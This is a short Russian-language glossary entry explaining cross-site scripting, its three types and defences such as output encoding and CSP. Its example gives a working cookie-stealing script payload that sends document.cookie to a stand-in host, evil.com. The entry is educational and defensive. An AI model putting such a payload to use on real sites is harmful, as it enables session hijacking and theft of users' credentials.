XSS (межсайтовый скриптинг)
Уязвимость безопасности, позволяющая атакующим внедрять вредоносные скрипты в веб-страницы, просматриваемые другими пользователями, потенциально похищая сессионные куки, учётные данные или выполняя действия от имени жертв.
Определение
XSS-атаки происходят, когда приложение включает недоверенные данные в веб-страницу без должной валидации или экранирования. Три основных типа: Stored XSS (вредоносный скрипт постоянно хранится на сервере), Reflected XSS (скрипт отражается от веб-сервера), DOM-based XSS (уязвимость в клиентском коде). XSS — #7 в OWASP Top 10.
Почему это важно
XSS-атаки могут похищать сессии пользователей, портить сайты, перенаправлять на вредоносные сайты и распространять малварь. Крупные компании вроде Twitter, Facebook и Google имели обнаруженные XSS-уязвимости. Предотвращение требует кодирования вывода, CSP и автоматического сканирования.
Пример
Система комментариев отображает ввод без экранирования. Атакующий постит: <script>document.location="http://evil.com/?c="+document.cookie</script>. Куки других пользователей похищаются.